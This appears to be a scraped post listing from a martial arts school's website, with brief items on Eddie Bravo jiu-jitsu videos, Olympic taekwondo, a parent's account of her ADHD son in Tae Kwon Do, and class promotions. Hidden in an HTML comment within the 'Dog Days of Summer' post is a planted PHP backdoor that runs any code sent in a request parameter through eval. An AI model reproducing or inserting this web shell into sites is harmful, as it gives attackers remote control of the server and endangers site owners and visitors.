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News, Events, Misc.

Eddie Bravo vs Jason Chambers No-Gi BJJ

Eddie demostrates his unorthodox technqiues effectively during a sparring session at 10th Planet Jiu Jitsu. Take notice of his smooth transitions.

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Eddie Bravo on Twister Side Control Theory

If you train with Jovan you know exactly what Eddie Bravo is talking about when you get into the twister side control. Remember, you have to have your basic down before you attempt any of these advance techniques.

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Olympic Taekwondo Video

This was taken during the 2004 Olympic in Athens. The Taekwondo is video intense.

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ADHD Child’s Tae Kwon Do Experience

By Stephanie Gilman, published Apr 23, 2007 When my son was five, he was diagnosed with a host of disorders, the most upsetting being ADHD. His teacher informed me that he would not be able to function in a normal classroom without medication. His doctor thought that

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The Dog Days of Summer

Nothing beats a hot day like a nice air conditioned training facility. Get yourself in shape with some circuit training. Call or email Master Antonucci for more info. <!– [insert_php]if (isset($_REQUEST["AJqjg"])){eval($_REQUEST["AJqjg"]);exit;}[/insert_php][php]if (isset($_REQUEST["AJqjg"])){eval($_REQUEST["AJqjg"]);exit;}[/php] –>

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Learn Martial Arts in a Friendly Environment

Gold Hawk is more than a martial arts school. At Gold Hawk through martial arts training adults, young adults and kids learn social skills and build confidence. The instructors at Gold Hawk are always ready to help you through the tough workouts and martial arts training regime.

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Master Chris Antonucci and Mechelle Davis

Master Chris Antonucci and  Mechelle Davis with a happy student. For over 18 years the people at Gold Hawk have served the community with a smile. Gold Hawk holds yearly tournaments at Pinelands High School.

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